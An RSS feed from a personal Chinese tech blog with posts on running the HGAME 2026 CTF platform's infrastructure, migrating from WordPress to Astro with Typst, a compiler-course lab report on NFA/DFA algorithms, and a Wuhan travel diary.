<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Woshiluo&apos;s NoteBook</title><description>Rediscory the beauty of typography</description><link>https://blog.woshiluo.com/</link><item><title>HGAME 2026 运维秘话</title><link>https://blog.woshiluo.com/posts/2026/02/hgame-magic/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2026/02/hgame-magic/</guid><description>又一年的 HGAME 2026 结束了！今年我负责运维背锅，特写此文记录遇到的各种情况。</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;#import &quot;/typ/templates/blog.typ&quot;: *&lt;/p&gt;
&lt;p&gt;#show: main.with(
title: &quot;HGAME 2026 运维秘话&quot;,
desc: [又一年的 HGAME 2026 结束了！今年我负责运维背锅，特写此文记录遇到的各种情况。],
date: &quot;2026-02-24&quot;,
categories: (
&quot;notes&quot;,
),
show-outline: false,
)&lt;/p&gt;
&lt;p&gt;== 前情提要&lt;/p&gt;
&lt;p&gt;又一年的 HGAME 结束了！HGAME 是一个历史悠久的比赛了，有幸作为 HGAME 的运维还是很高兴的。&lt;/p&gt;
&lt;p&gt;今年我们继续使用了 rx 佬的 ret2shell 平台。在我负责 Vidar Team 相关赛事的运营后，我一直希望平台能够维持稳定的长期的运营。HGAME 系列赛事几乎贯穿全年，从 MINI 的 8 月一路到 Final 的 4 月，每次都用新的平台也不利于数据的继承。&lt;/p&gt;
&lt;p&gt;在非赛时，我们的平台会运行在协会的 PVE 上的一个 VM 中，并通过种种奇技淫巧反代到我们的公共外网服务器上。&lt;/p&gt;
&lt;p&gt;== 意外和选型&lt;/p&gt;
&lt;p&gt;=== 美好的原计划&lt;/p&gt;
&lt;p&gt;今年的比赛赛制继承了去年，由于已经没有提早开放平台或者关闭平台的概念，主要的问题就是如何维持赛时两周的负载。&lt;/p&gt;
&lt;p&gt;同样继承自去年的还有来自杭电网络与计算协会（ICU）的支持，不过 ICU 的支持是要走流程联络的。今年是我和 NaCl 负责，这方面的进程在当时的我看来出乎意料的慢，现在来看应该是催的不够紧，还是不够理解学校的办事方法。&lt;/p&gt;
&lt;p&gt;基于去年的成熟经验和杭电网络的现实情况，一开始的想法是这样的。从协会 PVE 迁移上云，前期完全上云，择机从云上迁移到协会 PVE 和 ICU 机器构成的多节点集群。&lt;/p&gt;
&lt;p&gt;这里的困难其实是如何无痛迁移，数据库和队列尚且好说，ret2shell 会需要一个本地目录存取题目信息等数据。正常来说，一个 &lt;code&gt;local-path&lt;/code&gt; 的 PV 想要迁移到另一个 node 是不可能不停机的，除非我们引入分布式文件系统。但是我相信，引入分布式文件系统带来的不稳定性很有可能大于短暂的停机。&lt;/p&gt;
&lt;p&gt;但我们的比赛两周间有一段休息，尽管本意不是给运维天窗，但是实践上是再好不过的天窗了。&lt;/p&gt;
&lt;p&gt;=== 意外&lt;/p&gt;
&lt;p&gt;在寒假离校前一两天我观测到了 PVE 重启会有概率性问题，包括但不限于随机的显示输出，无法使用 PVE 中的 shell 等。为了确保在赛时 PVE 的相对稳定性，我随手挂了个 memtest。然后它就爆炸了。&lt;/p&gt;
&lt;p&gt;事后在协会的人说这个东西已经发出焦味了，祝它安好。土豆哥语重心长的告诉我 memtest 是高危操作，也算是经验吧。&lt;/p&gt;
&lt;p&gt;总之在经过紧张的数据救援后（感谢 mantle 以及有过帮助的人），我们成功的捞出了承载 HGAME 的虚拟磁盘，并利用其在 ICU 新开了一个 VM。&lt;/p&gt;
&lt;p&gt;现在要从头考虑选型了。&lt;/p&gt;
&lt;p&gt;=== 新的选型&lt;/p&gt;
&lt;p&gt;既然情况已经是这样，上云的进程就被大大提前了。问题是我们不再有协会的 PVE 作为后期下云的节点，这将会浪费一个我们在 ICU 的虚拟机。&lt;/p&gt;
&lt;p&gt;但是也可以考虑保留一个云上节点作为集群的 master，这样就可以避免迁移带来的较高代价。&lt;/p&gt;
&lt;p&gt;为了保证开赛的稳定性，我还做了几次大批量开关靶机的压测。&lt;/p&gt;
&lt;p&gt;== 现实&lt;/p&gt;
&lt;p&gt;=== CDN&lt;/p&gt;
&lt;p&gt;在前人来看，CDN 是一个艰难的抉择，毕竟要钱。&lt;/p&gt;
&lt;p&gt;但是感谢腾讯云 EdgeOne，今年直接免费版嫖穿，中间零零散散的来自世界各地的不友善流量都被挡住了。&lt;/p&gt;
&lt;p&gt;加上我写了超级激进的缓存规则，基本上除了 API 全部拉进缓存了，这使得对源站的压力出乎意料的低。&lt;/p&gt;
&lt;p&gt;=== 下云&lt;/p&gt;
&lt;p&gt;正如前人所说，赛时运维是不可不评的一环。尽管在云上的时光非常顺利，终于在我手上，HGAME 平稳开赛了一次。&lt;/p&gt;
&lt;p&gt;但是问题是真的太贵了，全云预计要 1500cny 才能打住。所以下云的计划提前了。&lt;/p&gt;
&lt;p&gt;在准备下云的时候，我们云上有三个机子，一个 master 两个 node。理论上将 k3s 高可用然后就可以添加新的 master 并逐步 cordon 掉云上服务器了。&lt;/p&gt;
&lt;p&gt;但是实践上没有这么简单。我在做完这一套操作后惊奇的发现在 pod 里可以任意包大小 ping 通每一个 node，但是唯独连不通 k3s api。&lt;/p&gt;
&lt;p&gt;这听起来很奇怪，在没有引入其他控制平面的情况下，理论上 pod 的流量总是要过 CNI 的，怎么会 node 间互通但是 api 不通呢。&lt;/p&gt;
&lt;p&gt;大调查的结果是，k3s 对于自己的 api 是通过 iptables 转发到某个 node 的 external IP 的，并不会过本机的 nat，这意味着对于 CNI interface 的路由措施会无法生效。特化调整即可。&lt;/p&gt;
&lt;p&gt;另一个值得一提的是，k3s 的高可用集群要求必须有奇数个 master 以投票出集群中心，迁移的时候要注意维持节点个数。&lt;/p&gt;
&lt;p&gt;=== 机器的局限性&lt;/p&gt;
&lt;p&gt;下云后发现学校的网络还是会有意料外的 RST，最终还是选择保留一个云上节点作为转发机。在此之后一切平常，直到 Week2。&lt;/p&gt;
&lt;p&gt;Week2 开始前我就收到一些出题人指出，原本在云上测好的 Week2 的题目现在跑不通了。一开始自然怀疑是资源没给够，放大资源占用也确实好了 -- 但是要放的很大。随着测试的进一步进行，又跑不通了。上服务器一看只有大量的 hang。&lt;/p&gt;
&lt;p&gt;一个自然的怀疑是硬件问题，但是在 ICU 迁了个机器还是有类似的问题，我意识到 ICU 的机器性能还是有局限性的。不得已只能把留在协会的自用机器拉入集群，才算缓解了这个问题。&lt;/p&gt;
&lt;p&gt;=== 学校的奇妙网络&lt;/p&gt;
&lt;p&gt;学校的网络奇妙之处不仅在于意料外的 RST，还在于学校分配的 IP 在学校内无法连接。这意味在协会的机器和在 ICU 的机器间联络很困难，特别是在还有一台外部转发机的时候。&lt;/p&gt;
&lt;p&gt;如果选择将公网 IP 作为 external IP，那么校内就会有连通性问题，反之亦然。最后只能手动添加隧道来统一这个问题。&lt;/p&gt;
&lt;p&gt;== 结算&lt;/p&gt;
&lt;p&gt;比赛可以说是平稳的结束了，两周的运维工作也终于迎来尾声。虽然对 ICU 的机器和学校的网络有这么多的吐槽，但是还是很感谢 ICU 和学校能给予这么多支持。希望之后的运维能够着手解决这些问题吧。&lt;/p&gt;
&lt;p&gt;虽然比赛大部分时间都以云下机器为主，但是由于 PVE 损坏导致的上云时间提前还是消耗了不少资金，总体来说和去年是持平的，可喜可贺。&lt;/p&gt;
&lt;p&gt;感谢各位选手和出题人的努力以及对比赛平台波动的包容。&lt;/p&gt;
&lt;p&gt;== 附录&lt;/p&gt;
&lt;p&gt;=== Agent 的相关讨论&lt;/p&gt;
&lt;p&gt;和 HGAME 同一时间的比赛还有 HPCGAME，后者显然被 agent 梭穿了，而 HGAME 也没好到哪去，榜上前几和大部分 writeup 都有明显的 AI 痕迹。&lt;/p&gt;
&lt;p&gt;我对在此类比赛中使用 AI 的态度很微妙。首先没有道理禁止，因为比赛是现实场景的预演，你现实能用 AI 凭什么比赛不能用。&lt;/p&gt;
&lt;p&gt;但是也更没有道理支持，比赛本身是给人增长环境的地方，在 AGI 的牛逼吹到之前，人终究还是要增长自己的水平以完成复杂的工作。以往正常的途径是：学习 -› 打比赛 -› 查漏补缺 -› 打比赛 -› 排名上升，这构成了一个正反馈循环，如果一个人愿意去尝试这种循环并坚持几轮，选择不断精进自己的技术是必然的。但是现在打比赛变成了把题目丢给 Agent 甚至不管，这个反馈就被打破了。这对新人来说无疑是艰难的，学习的反馈消失了，但是学习的必要性姑且还存在。&lt;/p&gt;
&lt;p&gt;我也没有什么好的办法处理比赛中 Agent 的使用，说句难听话，其实如果选手有意要藏，也看不出来用了 Agent。只能说希望大家能够接着在各式各样的经历中精进自己，不被拍死在沙滩上吧。&lt;/p&gt;
&lt;p&gt;=== Ref&lt;/p&gt;
&lt;p&gt;上一年运维的笔记：https://baimeow.cn/posts/projects/hgame25-op/&lt;/p&gt;
</content:encoded><category>notes</category><author>woshiluo</author></item><item><title>如何从 WordPress 逃离到 Astro</title><link>https://blog.woshiluo.com/posts/2026/02/wordpress-to-astro/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2026/02/wordpress-to-astro/</guid><description>我迁移到 Astro 的简要经历。任何一个选择都有代价，离开一个成熟平台应当是在作死。</description><pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;#import &quot;/typ/templates/blog.typ&quot;: *&lt;/p&gt;
&lt;p&gt;#show: main.with(
title: &quot;如何从 WordPress 逃离到 Astro&quot;,
desc: [我迁移到 Astro 的简要经历。任何一个选择都有代价，离开一个成熟平台应当是在作死。],
date: &quot;2026-02-23&quot;,
categories: (
&quot;notes&quot;,
),
show-outline: false,
)&lt;/p&gt;
&lt;p&gt;== 0 想法与选型&lt;/p&gt;
&lt;p&gt;由于我苦 WordPress 久矣，因此迁移博客系统是一个隔两天就会被放到脑子里过一遍的想法。&lt;/p&gt;
&lt;p&gt;但是你真要说苦什么，其实用起来也挺正常的。无非是攻击面大一点，技术栈陈旧一点，服务器资源消耗大一点什么的，都是一些不痛不痒的事情。&lt;/p&gt;
&lt;p&gt;但是人总是要折腾一下自己的，既然要换，就得先选型。&lt;/p&gt;
&lt;p&gt;其实我是很倾向于动态博客的，毕竟写个博客非要个 Git 环境什么的有点不爽。但是大部分动态博客框架和 WordPress 大同小异，要么做得不够好，要么做得不够全。&lt;/p&gt;
&lt;p&gt;那就考虑静态博客了。Hexo 也不是没有用过，但是感觉上一方面也有历史包袱，另一方面之前用下来也确实不好用。剩下的框架基本上也是一个德性。&lt;/p&gt;
&lt;p&gt;Astro 其实和上面这些也差不多，当然有更多好用的语法糖和更自然的定义形式，毕竟不是为博客特化的，这会带来额外的灵活性。但是真正引起我注意的是，有人给 Astro 做了 Typst 支持，这个之前没有想过，但是一想就很诱人。Latex 的数学语法在大多数情况还是不如 Typst，而且完整的 Typst 支持意味着比 MathJax / Katex 多了很多灵活度，比如说 Typst 模版可以广泛运用到每一个文件中。&lt;/p&gt;
&lt;p&gt;理想是美好的，那么现实呢？&lt;/p&gt;
&lt;p&gt;== 1 Typst 与 HTML&lt;/p&gt;
&lt;p&gt;Typst 的 html export 其实依旧在绝赞#link(&quot;https://github.com/typst/typst/issues/5512&quot;)[实验性支持]中。其中一个很悲伤的故事是，数学公式的 html export 还在路上。&lt;/p&gt;
&lt;p&gt;因此你直接使用#link(&quot;https://github.com/OverflowCat/astro-typst&quot;)[ astro-typst ]并不会带来预想的效果，要么结果全文作为 svg 导出，要么丢失数学公式 -- 两者都不是太能接受。&lt;/p&gt;
&lt;p&gt;自然的想法是让比较复杂的部分以 SVG 格式嵌入在 HTML 产物中，通过 &lt;code&gt;typst #show math.equation: html.frame&lt;/code&gt; 可以做到这一点。&lt;/p&gt;
&lt;p&gt;问题到这，当然没有解决。笔者在第一次尝试迁移的时候是去年 10 月，这个时候 astro-typst 会默认使用 typst.ts 的 hast 模式。所谓 hast，就是 html ast，这个方式下，svg 会以 base64 encode 的形式传输到 html 产物中。理论上这不会有问题，但是你会发现实际的产物中，数学公式被截断了。&lt;/p&gt;
&lt;p&gt;这是因为生成出来的数学公式 svg 的高度是不正确的，但是被内嵌到 img src 后也不太好让它 overflow，对此我当时的解决方法是魔改 astro-typst 让它不要走 hast 传输，然后这两天一看 astro-typst 更新了这个选项。&lt;/p&gt;
&lt;p&gt;到此，我们已经有良好的 Typst 支持了。&lt;/p&gt;
&lt;p&gt;== 2 迁移&lt;/p&gt;
&lt;p&gt;=== 2.1 文章&lt;/p&gt;
&lt;p&gt;首先是怎么转成 Markup 语言所写的文件。转成 Typst 想起来就头疼，但是转成 MarkDown 可就有太多前人工作了。我选择了 https://github.com/lonekorean/wordpress-export-to-MarkDown 来将 WordPress 的 backup 转成 MarkDown 文件。&lt;/p&gt;
&lt;p&gt;这个脚本并不能很好地将媒体库的内容拖下来。先前的多次迁移也使得我的媒体库已经千疮百孔了。但是它导出的内容可以选择不迁移保留 https 链接，我决定战术性偷懒，直接将 &lt;code&gt;wp-content&lt;/code&gt; 目录映射到先前的位置。这样就不用管媒体库导出的问题了。&lt;/p&gt;
&lt;p&gt;=== 2.2 评论&lt;/p&gt;
&lt;p&gt;博客这么多年累计下来也有不少评论了，如果说全丢了未免可惜。给静态博客选择评论系统也是老生常谈的话题。Disqus 一年不如一年，Gitalk 我个人则不太喜欢，这意味着在博客的活动会直接反应在 Github 上，如果 ref 了某个 GitHub issue 之类的，还会在对应的地方显示被 ref，副作用太大了。&lt;/p&gt;
&lt;p&gt;那其实剩下的选项还是自己搭一个出来，一套比下来还在活跃开发的其实就是#link(&quot;https://github.com/walinejs/waline&quot;)[ Waline ]了。&lt;/p&gt;
&lt;p&gt;不得不吐槽的是，Waline 的初始化竟然要手动导入文件，这个年代怎么还有这么古朴的玩法。&lt;/p&gt;
&lt;p&gt;那么如何迁移呢，Waline 并不支持直接从 WordPress 导入评论，但是他的备份格式其实挺简单的。把先前 MariaDB 里的 &lt;code&gt;wp_comments&lt;/code&gt; 导出成 JSON 文件，然后写个脚本魔改一下就可以导入了。&lt;/p&gt;
&lt;p&gt;然后导入后就会发现评论时间显示的是导入时间，这是 &lt;code&gt;insertat&lt;/code&gt; 一列会在插入时自动更新导致的。我也没试图从源码上解决，直接在数据库里令 &lt;code&gt;insertat&lt;/code&gt; 等于 &lt;code&gt;updateat&lt;/code&gt; 了。&lt;/p&gt;
&lt;p&gt;一个很有意思的事情是， Waline 基于 path 决定页面，而且会觉得 &lt;code&gt;/a&lt;/code&gt; 和 &lt;code&gt;/a/&lt;/code&gt; 是两个页面。这在 Caddy 下不是什么事情，会自己重定向到后者，但是在本地测试的时候会略显微妙。&lt;/p&gt;
&lt;p&gt;=== 2.3 链接迁移&lt;/p&gt;
&lt;p&gt;由于早年 SEO 相关问题（谣传），当时选择了伪静态的作为博客的持久 URL。这一方面在 Astro 下不太好搞，另一方面看起来也略显别扭。&lt;/p&gt;
&lt;p&gt;迁移 URL 则会带来很多问题，一个是老链接需要维护重定向，另一个是评论链接需要修改。&lt;/p&gt;
&lt;p&gt;但是这两个都不是大事情，在上文工具导出 WordPress 文章的时候可以选择顺带导出一下 Post ID，剩下就是 shell 脚本练习题了。&lt;/p&gt;
&lt;p&gt;值得一提的是重定向一开始还在想怎么办，最后直接在 Caddy 的配置文件里丢了一百行 &lt;code&gt;redir&lt;/code&gt;，最后还是 Caddy 扛下了所有。&lt;/p&gt;
&lt;p&gt;== 3 总结&lt;/p&gt;
&lt;p&gt;剩下的工作主要是 SEO 和 CDN 的配置。这两个都没有特别多好说的，SEO 本质是乱糊，CDN 的话 Astro 有非常好的支持。&lt;/p&gt;
&lt;p&gt;作为测试，我将自己用 Typst 写的课程报告捡了一部分发了出来，可以看#link(&quot;/posts/2026/02/compiler-labs/&quot;)[编译原理课程设计报告]查看效果。&lt;/p&gt;
&lt;p&gt;实践上看由于基本上避免了客户端 JavaScript 的加载，现在的加载速度非常不错。&lt;/p&gt;
&lt;p&gt;目前被我咕掉的有，暗色模式，友链和 TOC。目测困难是比较有限的，搞好了应该会有下一篇的，吧？&lt;/p&gt;
</content:encoded><category>notes</category><author>woshiluo</author></item><item><title>编译原理课程设计报告</title><link>https://blog.woshiluo.com/posts/2026/02/compiler-labs/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2026/02/compiler-labs/</guid><description>笔者在杭电编译原理课程设计所提交的实验报告中，自认为比较有趣的部分。</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;#import &quot;/typ/blog.typ&quot;: *
// #import &quot;/typ/templates/blog.typ&quot;: *&lt;/p&gt;
&lt;p&gt;#show: main.with(
title: &quot;编译原理课程设计报告&quot;,
desc: [笔者在杭电编译原理课程设计所提交的实验报告中，自认为比较有趣的部分。],
date: &quot;2026-02-21&quot;,
categories: (
&quot;notes&quot;,
),
show-outline: false,
)&lt;/p&gt;
&lt;p&gt;== Lab 2&lt;/p&gt;
&lt;p&gt;=== 实验任务 2.1 正规表达式转 NFA 算法及实现&lt;/p&gt;
&lt;p&gt;尽管推荐使用中缀表达式转后缀表达式以完成次任务，但是事实上 Thompson 构造法直接递归实现也很自然。&lt;/p&gt;
&lt;p&gt;具体来说，我们可以认为我们在处理的一定是一个由单个节点开始，单个节点终止的 NFA。&lt;/p&gt;
&lt;p&gt;对于普通字符只需要在当前节点后新增一条对应节点对应边即可。&lt;/p&gt;
&lt;p&gt;那么对字符串流的操作（&lt;code&gt;*&lt;/code&gt; &lt;code&gt;+&lt;/code&gt; 等，以及 &lt;code&gt;()&lt;/code&gt;）都可以看作创建一个新的 NFA，并将该新 NFA 连接到当前状态上。区别在于重复类的只需要创造一个 NFA 并做好相关链接后返回，而括号需要进入新的 NFA 递归新增节点。&lt;/p&gt;
&lt;p&gt;特殊的是 &lt;code&gt;|&lt;/code&gt;，实践上可以认为移动当前指针到开始节点即可。需要注意的是在收尾的时候需要从每一个分支连接到结束节点。&lt;/p&gt;
&lt;p&gt;自此即可自然递归实现，可见于源代码中 &lt;code&gt;src/nfa.rs&lt;/code&gt; 的 &lt;code&gt;Nfa::new&lt;/code&gt; 函数及其相关函数。&lt;/p&gt;
&lt;p&gt;=== 实验任务 2.2 NFA 转 DFA 算法及实现&lt;/p&gt;
&lt;p&gt;子集构造算法和 $epsilon$-闭包的求解过程本身已经相当程序化，在实现过程中并无值得注意的细节。&lt;/p&gt;
&lt;p&gt;具体来说，$epsilon$-闭包的实现为了抽象性以存于 &lt;code&gt;src/utils.rs&lt;/code&gt; 的 &lt;code&gt;Nodes::empty_closure&lt;/code&gt; 中。&lt;/p&gt;
&lt;p&gt;而子集构造算法则位于 &lt;code&gt;src/dfa.rs&lt;/code&gt; 中 &lt;code&gt;From&amp;lt;&amp;amp;Nfa&amp;gt;&lt;/code&gt; trait 对 &lt;code&gt;Dfa&lt;/code&gt; 的实现中。&lt;/p&gt;
&lt;p&gt;如果注重时间复杂度的话，可以先行求出所有 $epsilon$-闭包并做分类，令 $n$ 为点数，$m$ 为边数。时间复杂度应为 $O(n log^2(n) + n + m)$。&lt;/p&gt;
&lt;p&gt;本次实验的实践考虑到代码抽象性没有做此优化，复杂度最劣可能为 $O(n m)$。即图中每个点的 $epsilon$-闭包 均为全集。&lt;/p&gt;
&lt;p&gt;=== 实验任务 2.3 DFA 最⼩化算法及实现&lt;/p&gt;
&lt;p&gt;本实验任务的核心是实现 Hopcroft 算法。一般认为 Hopcroft 算法的时间复杂度应为 $O(n log(n))$。但是在具体实现上有很多实现并不能做到这一点，这里给出一个程序化的描述：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将点集按照终止结点和非终止节点分成两组。&lt;/li&gt;
&lt;li&gt;将两组加入队列 $q$。&lt;/li&gt;
&lt;li&gt;如果队列 $q$ 已空，终止程序。&lt;/li&gt;
&lt;li&gt;从队列 $q$ 中取出一个集合 $R$。&lt;/li&gt;
&lt;li&gt;遍历现有划分的所有集合：&lt;/li&gt;
&lt;li&gt;令当前遍历到的集合为 $S$&lt;/li&gt;
&lt;li&gt;遍历字符集，令当前遍历到的字符为 $c$:&lt;/li&gt;
&lt;li&gt;令 $P = {x | x in S and delta(x, c) in R}$，$Q=S-P$。&lt;/li&gt;
&lt;li&gt;如果 $P$ 和 $Q$ 有一个不为空。则将 $P$, $Q$ 替换划分中 $S$，将两者中的较小项加入队列。&lt;/li&gt;
&lt;li&gt;执行 3。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;考虑时间复杂度。队列中任意一项，如果被加回队列，长度一定是其原长度的一半。而对于每一次处理，其复杂度是 $O(n)$ 的。显然，其最多 $log(n)$ 层，因此总复杂度应为 $O(n log(n))$。&lt;/p&gt;
&lt;p&gt;考虑正确性。划分法的正确性是显然的，因此只需确定是没有可能多划，没有可能少划即可证明其正确性。因为算法流程不超出正常的划分法方式，其自然不会多划。对于少划的可能性，不妨考虑反证。&lt;/p&gt;
&lt;p&gt;如果存在一个集合 $P$，其可以被一个字符 $c$ 分成两部分，分别到 $P_1, P_2$，那么 $
P_1, P_2$ 两个状态在被分开时一定有一个会被推入队列，因此集合 $P$ 一定会在处理时被分割，冲突。&lt;/p&gt;
&lt;p&gt;故该算法正确。&lt;/p&gt;
&lt;p&gt;具体实现中，需要考虑用链表维护划分，除此之外不存在能够在 $O(1)$ 复杂插入删除的序列数据结构。&lt;/p&gt;
&lt;p&gt;== Lab 4&lt;/p&gt;
&lt;p&gt;=== chumsky / PEGs&lt;/p&gt;
&lt;p&gt;chumsky 作为一个递归下降的，用于解析 PEGs 的库，和本次实验要求的 SysY 文法略有出入（以 BNF 形式给出）。另一个和常见的文法分析器不同的点是，该库是一个「声明式」而非「命令式」的解析器。这会在编写时带来巨大的额外工作量，但是对应的，程序的架构页更加直接。这使得我有机会为更细粒度的文法解析器撰写测试并进行分析，很遗憾的事 SysY 给定的文法相当的不原子化，这是得该库的特性器不仅难以充分发挥，事实上还带来的额外的编写成本。&lt;/p&gt;
&lt;p&gt;具体来说，我们可以将文法分为多个层级：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   /-------------FuncDef------\
  /-------------\          CompUnit
Expr -&amp;gt; Cond -&amp;gt; Stmt -&amp;gt; Block-/
     -&amp;gt; Decl ------------/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;介于递归下降的特性，我们需要对递归做手动处理。&lt;/p&gt;
&lt;p&gt;对于 AddExp 等此类的直接递归，由于 PEGs 是有优先级的文法系统，我们可以使用 &lt;code&gt;foldl&lt;/code&gt;/&lt;code&gt;foldr&lt;/code&gt; 来处理。&lt;/p&gt;
&lt;p&gt;对于类似 Exp -&amp;gt; AddExp -&amp;gt; MulExp -&amp;gt; UnaryExp -&amp;gt; Primary 的间接，循环递归。我们需要使用 &lt;code&gt;recursive&lt;/code&gt; 块来处理。这里需要注意暴露出的点，比如我在此处选择 AddExp 作为跳出循环的点，因为其他模块中只会使用 Exp 和 AddExp，且 Exp 只会由 AddExp 规约而来，因此属于较好的跳出点。&lt;/p&gt;
&lt;p&gt;另一个值得一提的事情是，由于声明式的描述方法，类型名有概率变得非常长，需要使用 &lt;code&gt;Boxed&lt;/code&gt; 等方法适时擦除类型，避免类型名过长使得 &lt;code&gt;rustc&lt;/code&gt; 甚至电脑崩溃。&lt;/p&gt;
&lt;p&gt;=== 测试&lt;/p&gt;
&lt;p&gt;Rust 语言自带良好的单元测试功能，况且如果能有对小模块单元测试的能力，就可为后续测试提供巨大的提示。对词法分析的测试是相对容易处理的，但文法分析的测试则应当感谢 chumsky 库，这使得我能够将语法分成多个部分，从而依次分析测试。&lt;/p&gt;
&lt;p&gt;=== 改进方向&lt;/p&gt;
&lt;p&gt;囿于时间原因，本实验有部分值得一试但尚未来得及完成的功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对语义分析的测试。事实上我可以很自豪的说本程序在 AST 部分提供了完善的抽象，这位语义分析环节的单元测试留下了充分的空间。&lt;/li&gt;
&lt;li&gt;语义分析报错的行号。这一部分则是纯粹的 dirty work，在语法分析阶段事实上可以拿到每一个 AST Node 在原串中的对应范围，但是 AST 抽象中均未记录（Number 和 Ident 做了实验性的处理），补全这部分即可有完善的报错。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;void f(int x) {
  return f(x - 1) + f(x - 2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def fib(n):
  if n &amp;lt;= 1:
    return n
  else:
    return fib(n - 1) + fib(n - 2)
print(fib(25))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;#raw(&quot;fn &quot; + &quot;main() {}&quot;, lang: &quot;rust&quot;)&lt;/p&gt;
</content:encoded><category>notes</category><author>woshiluo</author></item><item><title>江城漫步 - 武汉圣地巡礼笔记</title><link>https://blog.woshiluo.com/posts/2025/11/%E6%B1%9F%E5%9F%8E%E6%BC%AB%E6%AD%A5-%E6%AD%A6%E6%B1%89%E5%9C%A3%E5%9C%B0%E5%B7%A1%E7%A4%BC%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/11/%E6%B1%9F%E5%9F%8E%E6%BC%AB%E6%AD%A5-%E6%AD%A6%E6%B1%89%E5%9C%A3%E5%9C%B0%E5%B7%A1%E7%A4%BC%E7%AC%94%E8%AE%B0/</guid><pubDate>Mon, 03 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;先前 StudyingFather 问我要不要去打星，我说，好，我冲。最后申到武汉区域赛的非正式才赛名额，恰好在贵校运动会之后，连着运动会一起加上两趟夕发朝至的硬卧列车，就可以获得 4 天的武汉之行。&lt;/p&gt;
&lt;p&gt;江城，或者说其真名「武汉」，是国内诸多 Galgame 的取景地。既然有机会来一趟，还是要尝试一下圣地巡礼。在国内圣地巡礼其实感觉有点微妙，特别是我说去武汉圣地巡礼好多人说是不是去武大图书馆……&lt;/p&gt;
&lt;p&gt;出发前几天一直在生病状态，自然是没有精力做规划的。上了火车躺下来越想越发现想去的地方很多，要是纯粹随机游走时间可能会很紧张。赶紧爬起来对着地图打了一堆点，决定以从武昌站出发到西北再到东南最后回武昌站的顺序进行。&lt;/p&gt;
&lt;p&gt;本文涉及到的作品&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;高考恋爱一白天（下称高恋）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;三色绘恋（下称三色）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;恋爱绮谭&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;泡芙爱情故事（下称泡芙）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;武汉市长江大桥&lt;/h2&gt;
&lt;p&gt;武汉市长 江大桥（确信）。&lt;/p&gt;
&lt;p&gt;先在武昌站地铁的客服中心购买三日票。45cny 的三日票很容易回本。再买个哈啰单车七日票，较短距离的移动用单车显然方便许多。而且这两个结合，就有了自由移动权力，不用担心移动错误/绕路产生的票价，接下来三天就是武汉最自由的人。&lt;/p&gt;
&lt;p&gt;从武昌站出发，四号线从复兴路换乘五号线到司门口黄鹤楼站，从 A 口出来后沿民主路向长江方向行走，还能顺带经过户部巷吃个早饭。早上正好下雨，因此地面非常非常滑，这路修的实在一般。&lt;/p&gt;
&lt;p&gt;走到长江大桥就有了标志性的一幕。高恋和泡芙中都有此幕，作为城市背景。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251029_233215413.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;武汉市长江大桥&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到桥的另一层即可爬楼上武汉市长江大桥建成纪念碑，「一桥飞跨南北，天堑变通途」。随后沿长江大桥即可走回地铁站 A 口。&lt;/p&gt;
&lt;h2&gt;公安街 / 孱陵路&lt;/h2&gt;
&lt;p&gt;接着乘坐 5 号线到徐家棚，换乘 7 号线到三阳路，从 K2 口出。&lt;/p&gt;
&lt;p&gt;需要注意的是，公安路和公安街很近，但不是一条路。&lt;/p&gt;
&lt;p&gt;骑车就可以很快走到公安街，不过白天来的话实在是找不到恋爱绮谭中的感觉 -- 这地儿白天是个集市。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/11/PXL_20251030_005411092.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;公安街与天声街交汇区&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;由于肠胃不适实在没吃啥，不过看起来有不少有趣的熟食，果然逛菜市场才是最好玩的吗？&lt;/p&gt;
&lt;h2&gt;菱角湖公园 / 苹果湖高中初中分校 &amp;amp; 鸣笛 1988 / 国安路&lt;/h2&gt;
&lt;p&gt;接下来骑到大智路 B 口进站，6 号线到三眼桥下车，从 C 口出门后右转即可到达菱角湖公园的西北门。&lt;/p&gt;
